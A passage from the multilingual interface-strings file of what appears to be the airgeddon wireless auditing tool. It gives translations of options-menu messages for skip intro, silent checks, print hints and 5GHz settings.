désactivé" arr["CATALAN",571]="S'ha desactivat ometre la introducció" arr["PORTUGUESE",571]="A introdução foi ativada" arr["RUSSIAN",571]="Пропуск начальной заставки отключён" arr["GREEK",571]="Η παράλειψη του εισαγωγικού μηνύματος απενεργοποιήθηκε" arr["ITALIAN",571]="Skip intro è stato disattivato" arr["POLISH",571]="Pominięcie wprowadzenia zostało wyłączone" arr["GERMAN",571]="Intro überspringen wurde deaktiviert" arr["TURKISH",571]="İntroyu geçme devre dışı bırakıldı" arr["ARABIC",571]="سيتم تعطيل تخطي المقدمة" arr["CHINESE",571]="跳过介绍已被禁用" arr["ENGLISH",572]="Skip intro has been enabled" arr["SPANISH",572]="Se ha activado saltarse la intro" arr["FRENCH",572]="Ignorer l'intro a été activé" arr["CATALAN",572]="S'ha activat ometre la introducció" arr["PORTUGUESE",572]="A introdução de foi desativa" arr["RUSSIAN",572]="Пропуск начальной заставки включён" arr["GREEK",572]="Η παράλειψη του εισαγωγικού μηνύματος ενεργοποιήθηκε" arr["ITALIAN",572]="Skip intro è stato attivato" arr["POLISH",572]="Pominięcie wprowadzenia zostało włączone" arr["GERMAN",572]="Intro überspringen wurde aktiviert" arr["TURKISH",572]="İntroyu geçme etkinleştirildi" arr["ARABIC",572]="تم تفعيل تخطي المقدمة" arr["CHINESE",572]="跳过介绍已被启用" arr["ENGLISH",573]="7. Disable silent checks permanently" arr["SPANISH",573]="7. Deshabilitar permanentemente chequeos silenciosos" arr["FRENCH",573]="7. Désactiver en permanence contrôles silencieux" arr["CATALAN",573]="7. Deshabilitar permanentment revisions silencioses" arr["PORTUGUESE",573]="7. Desativar permanentemente a verificação silenciosa" arr["RUSSIAN",573]="7. Отключить тихие проверки" arr["GREEK",573]="7. Απενεργοποιήστε μόνιμα τα silent checks" arr["ITALIAN",573]="7. Disattivare permanentemente i controlli silenziosi" arr["POLISH",573]="7. Trwale wyłącz ciche sprawdzanie" arr["GERMAN",573]="7. Deaktivieren Sie die stillen Überprüfungen dauerhaft" arr["TURKISH",573]="7. Sessiz kontrolleri kalıcı olarak devre dışı bırak" arr["ARABIC",573]="7. تعطيل الضوابط الصامتة بشكل دائم" arr["CHINESE",573]="7. 永久禁用软件包静默检查" arr["ENGLISH",574]="7. Enable silent checks permanently" arr["SPANISH",574]="7. Habilitar permanentemente chequeos silenciosos" arr["FRENCH",574]="7. Activer en permanence contrôles silencieux" arr["CATALAN",574]="7. Habilitar permanentment revisions silencioses" arr["PORTUGUESE",574]="7. Ativar permanentemente a verificação silenciosa" arr["RUSSIAN",574]="7. Включить тихие проверки" arr["GREEK",574]="7. Ενεργοποιήστε μόνιμα τα silent checks" arr["ITALIAN",574]="7. Abilitare permanentemente i controlli silenziosi" arr["POLISH",574]="7. Trwale włącz ciche sprawdzanie" arr["GERMAN",574]="7. Stille Prüfungen dauerhaft aktivieren" arr["TURKISH",574]="7. Sessiz kontrolleri kalıcı olarak etkinleştir" arr["ARABIC",574]="7. تفعيل الضوابط الصامتة بشكل دائم" arr["CHINESE",574]="7. 永久启用软件包静默检查" arr["ENGLISH",575]="Silent checks: \${pink_color}Enabled\${normal_color}" arr["SPANISH",575]="Chequeos silenciosos: \${pink_color}Activados\${normal_color}" arr["FRENCH",575]="Contrôles silencieux: \${pink_color}Activé\${normal_color}" arr["CATALAN",575]="Revisions silencioses: \${pink_color}Activades\${normal_color}" arr["PORTUGUESE",575]="Verificação silenciosa: \${pink_color}Ativa\${normal_color}" arr["RUSSIAN",575]="Тихие проверки: \${pink_color}Включены\${normal_color}" arr["GREEK",575]="Silent checks: \${pink_color}Ενεργοποιημένα\${normal_color}" arr["ITALIAN",575]="Controlli silenziosi: \${pink_color}Attivati\${normal_color}" arr["POLISH",575]="Ciche sprawdzanie: \${pink_color}Aktywowane\${normal_color}" arr["GERMAN",575]="Stille Überprüfungen: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",575]="Sessiz kontroller: \${pink_color}Etkin\${normal_color}" arr["ARABIC",575]="\${pink_color}مفعل\${blue_color} :الضوابط الصامتة\${normal_color}" arr["CHINESE",575]="软件包静默检查: \${pink_color}启用\${normal_color}" arr["ENGLISH",576]="Silent checks: \${pink_color}Disabled\${normal_color}" arr["SPANISH",576]="Chequeos silenciosos: \${pink_color}Desactivados\${normal_color}" arr["FRENCH",576]="Contrôles silencieux: \${pink_color}Désactivé\${normal_color}" arr["CATALAN",576]="Revisions silencioses: \${pink_color}Desactivades\${normal_color}" arr["PORTUGUESE",576]="Verificação silenciosa: \${pink_color}Desativa\${normal_color}" arr["RUSSIAN",576]="Тихие проверки: \${pink_color}Отключены\${normal_color}" arr["GREEK",576]="Silent checks: \${pink_color}Απενεργοποιημένα\${normal_color}" arr["ITALIAN",576]="Controlli silenziosi: \${pink_color}Disattivati\${normal_color}" arr["POLISH",576]="Ciche sprawdzanie: \${pink_color}Wyłączone\${normal_color}" arr["GERMAN",576]="Stille Überprüfungen: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",576]="Sessiz kontroller: \${pink_color}DevreDışı\${normal_color}" arr["ARABIC",576]="\${pink_color}معطلة\${blue_color} :الضوابط الصامتة\${normal_color}" arr["CHINESE",576]="软件包静默检查: \${pink_color}禁用\${normal_color}" arr["ENGLISH",577]="\${blue_color}Silent checks will be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",577]="\${blue_color}Se van a deshabilitar los chequeos silenciosos. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",577]="\${blue_color}Les contrôles silencieux seront désactivés. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",577]="\${blue_color}Es van a desactivar les revisions silencioses. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",577]="\${blue_color}A verificação silenciosa será desativa. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",577]="\${blue_color}Тихие проверки будут отключены. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",577]="\${blue_color}Τα silent checks θα απενεργοποιηθούν. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",577]="\${blue_color}I controlli silenziosi saranno disattivati \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",577]="\${blue_color}Ciche sprawdzanie zostanie wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",577]="\${blue_color}Stille Überprüfungen werden deaktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",577]="Sessiz kontroller devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",577]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تعطيل الضوابط الصامتة\${normal_color}" arr["CHINESE",577]="软件包静默检查将被禁用。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",578]="\${blue_color}Silent checks will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",578]="\${blue_color}Se van a habilitar los chequeos silenciosos. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",578]="\${blue_color}Les contrôles silencieux seront activés. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",578]="\${blue_color}Es van a habilitar les revisions silencioses. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",578]="\${blue_color}A verificação silenciosa será ativa. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",578]="\${blue_color}Тихие проверки будут включены. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",578]="\${blue_color}Τα silent checks θα ενεργοποιηθούν. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",578]="\${blue_color}I controlli silenziosi saranno attivati \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",578]="\${blue_color}Ciche sprawdzanie zostanie włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",578]="\${blue_color}Stille Überprüfungen werden aktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",578]="Sessiz kontroller etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",578]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل الضوابط الصامتة\${normal_color}" arr["CHINESE",578]="\${blue_color}软件包静默检查将被启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",579]="Silent checks has been disabled" arr["SPANISH",579]="Se han desactivado los chequeos silenciosos" arr["FRENCH",579]="Les contrôles silencieux ont été désactivés" arr["CATALAN",579]="S'han desactivat les revisions silencioses" arr["PORTUGUESE",579]="A verificação silenciosa foi desativa" arr["RUSSIAN",579]="Тихие проверки отключены" arr["GREEK",579]="Τα silent checks έχουν απενεργοποιηθεί" arr["ITALIAN",579]="I controlli silenziosi sono stati disattivati" arr["POLISH",579]="Ciche sprawdzanie zostało wyłączone" arr["GERMAN",579]="Stille Überprüfungen wurden deaktiviert" arr["TURKISH",579]="Sessiz kontroller devre dışı bırakıldı" arr["ARABIC",579]="تم تعطيل الضوابط الصامتة" arr["CHINESE",579]="软件包静默检查已被禁用" arr["ENGLISH",580]="Silent checks has been enabled" arr["SPANISH",580]="Se han activado los chequeos silenciosos" arr["FRENCH",580]="Les contrôles silencieux ont été activés" arr["CATALAN",580]="S'han activat les revisions silencioses" arr["PORTUGUESE",580]="A verificação silenciosa foi ativa" arr["RUSSIAN",580]="Тихие проверки активированы" arr["GREEK",580]="Τα silent checks έχουν ενεργοποιηθεί" arr["ITALIAN",580]="I controlli silenziosi sono stati attivati" arr["POLISH",580]="Ciche sprawdzanie zostało włączone" arr["GERMAN",580]="Stille Überprüfungen wurden aktiviert" arr["TURKISH",580]="Sessiz kontroller etkinleştirildi" arr["ARABIC",580]="تم تفعيل الضوابط الصامتة" arr["CHINESE",580]="软件包静默检查已启用" arr["ENGLISH",581]="You launched airgedddon with silent checks enabled. Disable that setting in order to see what is the problem" arr["SPANISH",581]="Lanzaste airgeddon con los chequeos silenciosos activados. Deshabilita esa opción para ver cual es el problema" arr["FRENCH",581]="Vous avez lancé airgeddon avec les contrôles silencieux activés. Désactiver cette option pour voir quel est le problème" arr["CATALAN",581]="Vas llançar airgeddon amb les revisions silencioses activades. Deshabilita aquesta opció per veure quin és el problema" arr["PORTUGUESE",581]="Você executou o airgeddon com a verificação silenciosa ativa. Desative essa opção para ver qual é o problema" arr["RUSSIAN",581]="Вы запустили airgeddon с включенными тихими проверками. Отключите этот параметр, чтобы узнать, в чем проблема" arr["GREEK",581]="Ξεκινήσατε το airgeddon με ενεργοποιημένα τα silent checks. Απενεργοποιήστε αυτήν την επιλογή για να δείτε ποιό είναι ακρίβώς το πρόβλημα" arr["ITALIAN",581]="Hai lanciato airgeddon con i controlli silenziosi attivati. Disabilita questa opzione per vedere qual'è il problema" arr["POLISH",581]="Uruchomiłeś airgeddon z włączonym cichym sprawdzaniem. Wyłącz tę opcję, aby zobaczyć w czym jest problem" arr["GERMAN",581]="Sie haben airgeddon mit aktivierten Silent-Checks gestartet. Deaktivieren Sie diese Option, um das Problem zu sehen" arr["TURKISH",581]="Etkinleştirilmiş sessiz kontrollerle airgeddon'u başlattın. Sorunun ne olduğunu görmek için bu seçeneği devre dışı bırak" arr["ARABIC",581]="مع تفعيل الضوابط الصامتة. قم بتعطيل الإعداد لمعرفة ما هي المشكلة airgeddon تقوم بتشغيل" arr["CHINESE",581]="您在启用软件包静默检查的情况下启动了 airgedddon,但 airgedddon 发现所需要的软件包没有全部安装。禁用该设置以查看问题所在" arr["ENGLISH",582]="Print hints: \${pink_color}Enabled\${normal_color}" arr["SPANISH",582]="Mostrar consejos: \${pink_color}Activado\${normal_color}" arr["FRENCH",582]="Montrer des conseils: \${pink_color}Activé\${normal_color}" arr["CATALAN",582]="Mostra consells: \${pink_color}Activat\${normal_color}" arr["PORTUGUESE",582]="Mostrar conselhos: \${pink_color}Ativo\${normal_color}" arr["RUSSIAN",582]="Показать подсказки: \${pink_color}Включено\${normal_color}" arr["GREEK",582]="Εμφάνιση συμβουλών: \${pink_color}Ενεργοποιημένη\${normal_color}" arr["ITALIAN",582]="Mostra Consigli: \${pink_color}Attivato\${normal_color}" arr["POLISH",582]="Pokaż wskazówki: \${pink_color}Włączone\${normal_color}" arr["GERMAN",582]="Tipps anzeigen: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",582]="İpuçlarını göster: \${pink_color}Aktif\${normal_color}" arr["ARABIC",582]="\${pink_color}مفعل\${blue_color} :مشاهدة التلميحات\${normal_color}" arr["CHINESE",582]="打印提示: \${pink_color}启用\${normal_color}" arr["ENGLISH",583]="Print hints: \${pink_color}Disabled\${normal_color}" arr["SPANISH",583]="Mostrar consejos: \${pink_color}Desactivados\${normal_color}" arr["FRENCH",583]="Montrer des Conseils: \${pink_color}Désactivé\${normal_color}" arr["CATALAN",583]="Mostra consells: \${pink_color}Desactivat\${normal_color}" arr["PORTUGUESE",583]="Mostrar conselhos: \${pink_color}Desativo\${normal_color}" arr["RUSSIAN",583]="Показать подсказки: \${pink_color}Отключено\${normal_color}" arr["GREEK",583]="Εμφάνιση συμβουλών: \${pink_color}Απενεργοποιημένη\${normal_color}" arr["ITALIAN",583]="Mostra Consigli: \${pink_color}Disattivato\${normal_color}" arr["POLISH",583]="Pokaż wskazówki: \${pink_color}Wyłączone\${normal_color}" arr["GERMAN",583]="Tipps anzeigen: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",583]="İpuçlarını göster: \${pink_color}DevreDışı\${normal_color}" arr["ARABIC",583]="\${pink_color}معطل\${blue_color} :مشاهدة التلميحات\${normal_color}" arr["CHINESE",583]="打印提示: \${pink_color}禁用\${normal_color}" arr["ENGLISH",584]="8. Disable print hints permanently" arr["SPANISH",584]="8. Deshabilitar mostrar consejos permanentemente" arr["FRENCH",584]="8. Désactiver montrer des conseils en permanence" arr["CATALAN",584]="8. Deshabilitar mostrar consells permanentment" arr["PORTUGUESE",584]="8. Desativar permanentemente as dicas e conselhos" arr["RUSSIAN",584]="8. Отключить показ советов" arr["GREEK",584]="8. Απενεργοποιήστε μόνιμα την εμφάνιση συμβουλών" arr["ITALIAN",584]="8. Disattivare mostrare i suggerimenti in modo permanente" arr["POLISH",584]="8. Wyłącz wyświetlanie wskazówek na stałe" arr["GERMAN",584]="8. Tipps anzeigen dauerhaft deaktivieren" arr["TURKISH",584]="8. Gösteri ipuçlarını kalıcı olarak devre dışı bırak" arr["ARABIC",584]="8. تعطيل إظهار التلميحات بشكل دائم" arr["CHINESE",584]="8. 永久禁用打印提示" arr["ENGLISH",585]="8. Enable print hints permanently" arr["SPANISH",585]="8. Habilitar mostrar consejos permanentemente" arr["FRENCH",585]="8. Activer pour Montrer des conseils en permanence" arr["CATALAN",585]="8. Habilitar mostrar consells permanentment" arr["PORTUGUESE",585]="8. Ativar permanentemente as dicas e conselhos" arr["RUSSIAN",585]="8. Включить подсказки" arr["GREEK",585]="8. Ενεργοποιήστε μόνιμα την εμφάνιση συμβουλών" arr["ITALIAN",585]="8. Attivare mostrare i consigli in modo permanente" arr["POLISH",585]="8. Włącz wyświetlanie wskazówek na stałe" arr["GERMAN",585]="8. Aktivieren Sie diese Option, um Tipps anzuzeigen" arr["TURKISH",585]="8. İpuçlarını kalıcı olarak etkinleştir" arr["ARABIC",585]="8. تفعيل إظهار التلميحات بشكل دائم" arr["CHINESE",585]="8. 永久启用打印提示" arr["ENGLISH",586]="\${blue_color}Print hints will be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",586]="\${blue_color}Se va a deshabilitar mostrar consejos. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",586]="\${blue_color}Montrer des conseils va être désactivé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",586]="\${blue_color}Es va a desactivar mostrar consells. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",586]="\${blue_color}Os conselhos e as dicas serão desabilitados. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",586]="\${blue_color}Подсказки будут отключены. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",586]="\${blue_color}Πρόκειται να απενεργοποιηθεί η εμφάνιση συμβουλών. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",586]="\${blue_color}Disattiva i consigli sullo spettacolo \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",586]="\${blue_color}Spowoduje to wyłączenie wyświetlania wskazówek. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",586]="\${blue_color}Der Show-Hinweis wird deaktiviert. \${green_color}Wollen Sie weitermachen? \${normal_color}\${visual_choice}" arr["TURKISH",586]="\${blue_color}İpuları devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",586]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تعطيل إظهار التلميحات\${normal_color}" arr["CHINESE",586]="\${blue_color}打印提示将被禁用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",587]="\${blue_color}Print hints will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",587]="\${blue_color}Se va a habilitar mostrar consejos. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",587]="\${blue_color}Montrer des conseils va être activé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",587]="\${blue_color}Es va a habilitar mostrar consells. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",587]="\${blue_color}Os conselhos e as dicas serão habilitados. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",587]="\${blue_color}Подсказки будут включены. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",587]="\${blue_color}Πρόκειται να ενεργοποιηθεί η εμφάνιση συμβουλών. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",587]="\${blue_color}Mostrare i suggerimenti sará attivato \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",587]="\${blue_color}Wyświetlanie wskazówek zostanie włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",587]="\${blue_color}Tipps werden angezeigt. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",587]="\${blue_color}İpuçları etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",587]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل إظهار التلميحات\${normal_color}" arr["CHINESE",587]="\${blue_color}打印提示将被启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",588]="Print hints has been disabled" arr["SPANISH",588]="Se ha deshabilitado mostrar consejos" arr["FRENCH",588]="Montrer des conseils a été désactivés" arr["CATALAN",588]="S'ha desactivat mostrar consells" arr["PORTUGUESE",588]="Os conselhos e as dicas foram desativados" arr["RUSSIAN",588]="Подсказки отключены" arr["GREEK",588]="Η εμφάνιση συμβουλών απενεργοποιήθηκε" arr["ITALIAN",588]="Mostrare i suggerimenti è stato disattivato" arr["POLISH",588]="Wyświetlanie wskazówek zostało wyłączone" arr["GERMAN",588]="Hinweise wurden deaktiviert" arr["TURKISH",588]="İpuçları devre dışı bırakıldı" arr["ARABIC",588]="تم تعطيل إظهار التلميحات" arr["CHINESE",588]="打印提示已被禁用" arr["ENGLISH",589]="Print hints has been enabled" arr["SPANISH",589]="Se ha activado mostrar consejos" arr["FRENCH",589]="Montrer des conseils a été activé" arr["CATALAN",589]="S'ha activat mostrar consells" arr["PORTUGUESE",589]="Os conselhos e as dicas foram ativados" arr["RUSSIAN",589]="Подсказки включены" arr["GREEK",589]="Η εμφάνιση συμβουλών ενεργοποιήθηκε" arr["ITALIAN",589]="Mostrare i suggerimenti è stato attivato" arr["POLISH",589]="Wyświetlanie wskazówek zostało włączone" arr["GERMAN",589]="Hinweise wurden aktiviert" arr["TURKISH",589]="İpuçları etkinleştirildi" arr["ARABIC",589]="تم تفعيل إظهار التلميحات" arr["CHINESE",589]="打印提示已启用" arr["ENGLISH",590]="You can modify manually \${normal_color}\${rc_path}\${pink_color} file to change some options. You can also launch \"flags\" on the command line. More info at: \${normal_color}\${urlgithub_wiki}/Options" arr["SPANISH",590]="Puedes modificar manualmente el fichero \${normal_color}\${rc_path}\${pink_color} para modificar sus opciones. También puedes lanzar \"flags\" en la línea de comandos. Más información en: \${normal_color}\${urlgithub_wiki}/Options" arr["FRENCH",590]="Vous pouvez modifier manuellement le fichier \${normal_color}\${rc_path}\${pink_color} pour modifier ses options. Vous pouvez également écrire \"flags\" sur la ligne de commande. Plus d'information sur: \${normal_color}\${urlgithub_wiki}/Options" arr["CATALAN",590]="Pots modificar manualment el fitxer \${normal_color}\${rc_path}\${pink_color} per modificar les seves opcions. També pots llançar \"flags\" a la línia d'ordres. Més informació a: \${normal_color}\${urlgithub_wiki}/Options" arr["PORTUGUESE",590]="Você pode modificar manualmente o arquivo \${normal_color}\${rc_path}\${pink_color} para alterar suas opções ou usar argumentos ao executar airgeddon na linha de comando. Mais informações em: \${normal_color}\${urlgithub_wiki}/Options" arr["RUSSIAN",590]="Вы можете вручную изменить файл \${normal_color}\${rc_path}\${pink_color}, чтобы изменить его опции. Вы также можете указать \"flags\" в командной строке. Дополнительная информация об опциях: \${normal_color}\${urlgithub_wiki}/Options" arr["GREEK",590]="Μπορείτε να τροποποιήσετε χειροκίνητα το αρχείο \${normal_color}\${rc_path}\${pink_color} για να αλλάξετε τις επιλογές του. Μπορείτε επίσης να βάλετε \"flags\" στη γραμμή εντολών. Περισσότερες πληροφορίες στο: \${normal_color}\${urlgithub_wiki}/Options" arr["ITALIAN",590]="Puoi modificare manualmente il file \${normal_color}\${rc_path}\${pink_color} per modificarne le opzioni. Puoi anche lanciare \"flags\" sulla linea di comando. Maggiori informazioni su: \${normal_color}\${urlgithub_wiki}/Options" arr["POLISH",590]="Możesz ręcznie zmodyfikować plik \${normal_color}\${rc_path}\${pink_color} aby zmienić pewne opcje. Możesz także wpisać \"flags\" w linii poleceń. Więcej informacji: \${normal_color}\${urlgithub_wiki}/Options" arr["GERMAN",590]="Sie können die Datei \${normal_color}\${rc_path}\${pink_color}, manuell ändern, um die Optionen zu ändern. Sie können auch \"flags\" in die Befehlszeile werfen. Weitere Informationen dazu: \${normal_color}\${urlgithub_wiki}/Options" arr["TURKISH",590]="Seçenekleri değiştirmek için \${normal_color}\${rc_path}\${pink_color} dosyasını elle değiştirebilirsiniz. Komut satırında \"flags\" de ekleyebilirsiniz. Hakkında daha fazla bilgi: \${normal_color}\${urlgithub_wiki}/Options" arr["ARABIC",590]="\${normal_color}\${urlgithub_wiki}/Options \${pink_color}:في سطر الأوامر. مزيد من المعلومات على \"flags\" يدويًا لتغيير بعض الخيارات. يمكنك أيضًا تشغيل \${normal_color}\${rc_path}\${pink_color} يمكنك تعديل ملف\${normal_color}" arr["CHINESE",590]="您可以手动修改位于 \${normal_color}\${rc_path}\${pink_color} 的文件来更改一些选项。您还可以在命令行上启动 \"flags\"。更多信息请移步至: \${normal_color}\${urlgithub_wiki}/Options 查看。" arr["ENGLISH",591]="Changing these options \${rc_path} is modified as well and the changes are permanent" arr["SPANISH",591]="Cambiando estas opciones modificas el fichero \${rc_path} y los cambios son permanentes" arr["FRENCH",591]="La modification de ces options modifie le fichier \${rc_path} et les modifications sont permanentes" arr["CATALAN",591]="Canviant aquestes opcions modifiqueu el fitxer \${rc_path} i els canvis són permanents" arr["PORTUGUESE",591]="As modificações no arquivo \${rc_path} são permanentes" arr["RUSSIAN",591]="Изменение этих параметров меняет файл \${rc_path}, и эти настройки становятся постоянными" arr["GREEK",591]="Η αλλαγή αυτών των ρυθμίσεων τροποποιεί το αρχείο \${rc_path} και οι αλλαγές είναι μόνιμες" arr["ITALIAN",591]="La modifica di queste opzioni modifica il file \${rc_path} e le modifiche sono permanenti" arr["POLISH",591]="Zmiana tych opcji modyfikuje również plik \${rc_path}, a zmiany są trwałe" arr["GERMAN",591]="Durch das Ändern dieser Optionen wird die Datei \${rc_path} geändert, und die Änderungen sind dauerhaft" arr["TURKISH",591]="Bu seçenekleri değiştirmek, \${rc_path} dosyasını değiştirir ve değişiklikler kalıcıdır" arr["ARABIC",591]="تم تعديله أيضًا والتغييرات دائمة \${rc_path} تغيير هذه الخيارات" arr["CHINESE",591]="更改这些选项后,配置文件 \${rc_path} 也会被自动同步修改并保存" arr["ENGLISH",592]="9. Disable 5Ghz permanently" arr["SPANISH",592]="9. Deshabilitar 5Ghz permanentemente" arr["FRENCH",592]="9. Désactiver 5Ghz en permanence" arr["CATALAN",592]="9. Deshabilitar 5Ghz permanentment" arr["PORTUGUESE",592]="9. Desativar permanentemente a banda de 5Ghz" arr["RUSSIAN",592]="9. Отключить 5Ghz, в том числе для последующих запусков" arr["GREEK",592]="9. Απενεργοποιήστε μόνιμα το 5Ghz" arr["ITALIAN",592]="9. Disattivare permanentemente 5Ghz" arr["POLISH",592]="9. Wyłącz na stałe 5Ghz" arr["GERMAN",592]="9. 5Ghz dauerhaft deaktivieren" arr["TURKISH",592]="9. 5Ghz'i kalıcı olarak devre dışı bırak" arr["ARABIC",592]="9. تعطيل 5 جيجا هرتزبشكل دائم" arr["CHINESE",592]="9. 永久禁用 5Ghz" arr["ENGLISH",593]="9. Enable 5Ghz permanently" arr["SPANISH",593]="9. Habilitar 5Ghz permanentemente" arr["FRENCH",593]="9. Activer 5Ghz en permanence" arr["CATALAN",593]="9. Habilitar 5Ghz permanentment" arr["PORTUGUESE",593]="9. Ativar permanentemente a banda de 5Ghz" arr["RUSSIAN",593]="9. Включить 5Ghz, в том числе для последующих запусков" arr["GREEK",593]="9. Ενεργοποιήστε μόνιμα το 5Ghz" arr["ITALIAN",593]="9. Attivare 5Ghz permanentemente" arr["POLISH",593]="9. Włącz na stałe 5Ghz" arr["GERMAN",593]="9. 5Ghz dauerhaft aktivieren" arr["TURKISH",593]="9. 5Ghz'i kalıcı olarak etkinleştir" arr["ARABIC",593]="9. تفعيل 5 جيجا هرتزبشكل دائم" arr["CHINESE",593]="9. 永久启用 5Ghz" arr["ENGLISH",594]="5Ghz: \${pink_color}Enabled\${normal_color}" arr["SPANISH",594]="5Ghz: \${pink_color}Activado\${normal_color}" arr["FRENCH",594]="5Ghz: \${pink_color}Activée\${normal_color}" arr["CATALAN",594]="5Ghz: \${pink_color}Activat\${normal_color}" arr["PORTUGUESE",594]="5Ghz: \${pink_color}Ativo\${normal_color}" arr["RUSSIAN",594]="5Ghz: \${pink_color}Включено\${normal_color}" arr["GREEK",594]="5Ghz: \${pink_color}Ενεργοποιημένο\${normal_color}" arr["ITALIAN",594]="5Ghz: \${pink_color}Attivato\${normal_color}" arr["POLISH",594]="5Ghz: \${pink_color}Włączony\${normal_color}" arr["GERMAN",594]="5Ghz: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",594]="5Ghz: \${pink_color}Aktif\${normal_color}" arr["ARABIC",594]="\${pink_color}مفعل\${blue_color} :5Ghz\${normal_color}" arr["CHINESE",594]="5Ghz: \${pink_color}启用\${normal_color}" arr["ENGLISH",595]="5Ghz: \${pink_color}Disabled\${normal_color}" arr["SPANISH",595]="5Ghz: \${pink_color}Desactivado\${normal_color}" arr["FRENCH",595]="5Ghz: \${pink_color}Désactivée\${normal_color}" arr["CATALAN",595]="5Ghz: \${pink_color}Desactivat\${normal_color}" arr["PORTUGUESE",595]="5Ghz: \${pink_color}Desativo\${normal_color}" arr["RUSSIAN",595]="5Ghz: \${pink_color}Отключено\${normal_color}" arr["GREEK",595]="5Ghz: \${pink_color}Απενεργοποιημένο\${normal_color}" arr["ITALIAN",595]="5Ghz: \${pink_color}Disattivato\${normal_color}" arr["POLISH",595]="5Ghz: \${pink_color}Dezaktywowane\${normal_color}" arr["GERMAN",595]="5Ghz: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",595]="5Ghz: \${pink_color}DevreDışı\${normal_color}" arr["ARABIC",595]="\${pink_color}معطل\${blue_color} :5Ghz\${normal_color}" arr["CHINESE",595]="5Ghz: \${pink_color}禁用\${normal_color}" arr["ENGLISH",596]="\${blue_color}5Ghz will be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",596]="\${blue_color}Se va a deshabilitar 5Ghz. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",596]="\${blue_color}On va désactiver 5Ghz. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",596]="\${blue_color}Es va a desactivar 5Ghz. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",596]="\${blue_color}Isso desabilitará a banda de 5Ghz. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",596]="\${blue_color}5Ghz будет отключено. \${green_color}Вы хотите 